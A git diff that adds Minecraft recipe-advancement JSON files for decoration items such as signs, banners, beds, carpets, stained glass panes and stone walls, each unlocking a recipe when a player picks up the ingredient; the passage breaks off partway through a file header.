a/src/data/minecraft/advancements/recipes/decorations/crimson_sign.json b/src/data/minecraft/advancements/recipes/decorations/crimson_sign.json new file mode 100644 index 00000000..bf49f51d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/crimson_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_sign" + ] + }, + "criteria": { + "has_crimson_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_sign" + } + } + }, + "requirements": [ + [ + "has_crimson_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_banner.json b/src/data/minecraft/advancements/recipes/decorations/cyan_banner.json new file mode 100644 index 00000000..430be23f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_banner" + ] + }, + "criteria": { + "has_cyan_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_banner" + } + } + }, + "requirements": [ + [ + "has_cyan_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_bed.json b/src/data/minecraft/advancements/recipes/decorations/cyan_bed.json new file mode 100644 index 00000000..700bf1e3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_bed" + ] + }, + "criteria": { + "has_cyan_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_bed" + } + } + }, + "requirements": [ + [ + "has_cyan_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/cyan_bed_from_white_bed.json new file mode 100644 index 00000000..e54f8ec1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_carpet.json b/src/data/minecraft/advancements/recipes/decorations/cyan_carpet.json new file mode 100644 index 00000000..538d21bc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_carpet" + ] + }, + "criteria": { + "has_cyan_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_carpet" + } + } + }, + "requirements": [ + [ + "has_cyan_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/cyan_carpet_from_white_carpet.json new file mode 100644 index 00000000..a2b86386 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_cyan_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_cyan_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/cyan_glazed_terracotta.json new file mode 100644 index 00000000..94b95416 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_glazed_terracotta" + ] + }, + "criteria": { + "has_cyan_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_cyan_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane.json new file mode 100644 index 00000000..aad337f9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..7010e911 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cyan_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cyan_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_cyan_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cyan_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cyan_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_cyan_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/dark_oak_fence.json b/src/data/minecraft/advancements/recipes/decorations/dark_oak_fence.json new file mode 100644 index 00000000..6443a059 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/dark_oak_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/dark_oak_sign.json b/src/data/minecraft/advancements/recipes/decorations/dark_oak_sign.json new file mode 100644 index 00000000..3635687b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/dark_oak_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_sign" + ] + }, + "criteria": { + "has_dark_oak_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_sign" + } + } + }, + "requirements": [ + [ + "has_dark_oak_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/diorite_wall.json b/src/data/minecraft/advancements/recipes/decorations/diorite_wall.json new file mode 100644 index 00000000..92763e51 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/diorite_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_wall" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_wall" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/diorite_wall_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/diorite_wall_from_diorite_stonecutting.json new file mode 100644 index 00000000..82670c29 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/diorite_wall_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diorite_wall_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diorite_wall_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/enchanting_table.json b/src/data/minecraft/advancements/recipes/decorations/enchanting_table.json new file mode 100644 index 00000000..458bf736 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/enchanting_table.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:enchanting_table" + ] + }, + "criteria": { + "has_obsidian": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:obsidian" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:enchanting_table" + } + } + }, + "requirements": [ + [ + "has_obsidian", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/end_crystal.json b/src/data/minecraft/advancements/recipes/decorations/end_crystal.json new file mode 100644 index 00000000..4a95f973 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/end_crystal.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_crystal" + ] + }, + "criteria": { + "has_ender_eye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ender_eye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_crystal" + } + } + }, + "requirements": [ + [ + "has_ender_eye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/end_rod.json b/src/data/minecraft/advancements/recipes/decorations/end_rod.json new file mode 100644 index 00000000..121273b1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/end_rod.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_rod" + ] + }, + "criteria": { + "has_chorus_fruit_popped": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:popped_chorus_fruit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_rod" + } + } + }, + "requirements": [ + [ + "has_chorus_fruit_popped", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall.json new file mode 100644 index 00000000..db7e88c3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_wall" + ] + }, + "criteria": { + "has_end_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_wall" + } + } + }, + "requirements": [ + [ + "has_end_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..2cfcefe4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_wall_from_end_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_end_stone_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_wall_from_end_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_stonecutting.json new file mode 100644 index 00000000..a27db778 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/end_stone_brick_wall_from_end_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:end_stone_brick_wall_from_end_stone_stonecutting" + ] + }, + "criteria": { + "has_end_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:end_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:end_stone_brick_wall_from_end_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_end_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/ender_chest.json b/src/data/minecraft/advancements/recipes/decorations/ender_chest.json new file mode 100644 index 00000000..c31a121b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/ender_chest.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:ender_chest" + ] + }, + "criteria": { + "has_ender_eye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ender_eye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:ender_chest" + } + } + }, + "requirements": [ + [ + "has_ender_eye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/fletching_table.json b/src/data/minecraft/advancements/recipes/decorations/fletching_table.json new file mode 100644 index 00000000..04752aea --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/fletching_table.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:fletching_table" + ] + }, + "criteria": { + "has_flint": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:flint" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:fletching_table" + } + } + }, + "requirements": [ + [ + "has_flint", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/flower_pot.json b/src/data/minecraft/advancements/recipes/decorations/flower_pot.json new file mode 100644 index 00000000..ab543070 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/flower_pot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:flower_pot" + ] + }, + "criteria": { + "has_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:flower_pot" + } + } + }, + "requirements": [ + [ + "has_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/furnace.json b/src/data/minecraft/advancements/recipes/decorations/furnace.json new file mode 100644 index 00000000..bdd6dc29 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/furnace.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:furnace" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_crafting_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:furnace" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/glass_pane.json new file mode 100644 index 00000000..cce20cac --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/granite_wall.json b/src/data/minecraft/advancements/recipes/decorations/granite_wall.json new file mode 100644 index 00000000..00d1c191 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/granite_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_wall" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_wall" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/granite_wall_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/granite_wall_from_granite_stonecutting.json new file mode 100644 index 00000000..c151027a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/granite_wall_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:granite_wall_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:granite_wall_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_banner.json b/src/data/minecraft/advancements/recipes/decorations/gray_banner.json new file mode 100644 index 00000000..1cf164ef --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_banner" + ] + }, + "criteria": { + "has_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_banner" + } + } + }, + "requirements": [ + [ + "has_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_bed.json b/src/data/minecraft/advancements/recipes/decorations/gray_bed.json new file mode 100644 index 00000000..cd42bc8f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_bed" + ] + }, + "criteria": { + "has_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_bed" + } + } + }, + "requirements": [ + [ + "has_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/gray_bed_from_white_bed.json new file mode 100644 index 00000000..2fef4649 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_carpet.json b/src/data/minecraft/advancements/recipes/decorations/gray_carpet.json new file mode 100644 index 00000000..80750147 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_carpet" + ] + }, + "criteria": { + "has_gray_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_carpet" + } + } + }, + "requirements": [ + [ + "has_gray_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/gray_carpet_from_white_carpet.json new file mode 100644 index 00000000..39c5228e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_gray_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_gray_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/gray_glazed_terracotta.json new file mode 100644 index 00000000..14a577e6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_glazed_terracotta" + ] + }, + "criteria": { + "has_gray_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_gray_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane.json new file mode 100644 index 00000000..d3e803bc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..361b95fd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/gray_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_gray_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_gray_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_banner.json b/src/data/minecraft/advancements/recipes/decorations/green_banner.json new file mode 100644 index 00000000..32e0d60f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_banner" + ] + }, + "criteria": { + "has_green_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_banner" + } + } + }, + "requirements": [ + [ + "has_green_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_bed.json b/src/data/minecraft/advancements/recipes/decorations/green_bed.json new file mode 100644 index 00000000..0519ad15 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/green_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_bed" + ] + }, + "criteria": { + "has_green_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_bed" + } + } + }, + "requirements": [ + [ + "has_green_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/green_bed_from_white_bed.json 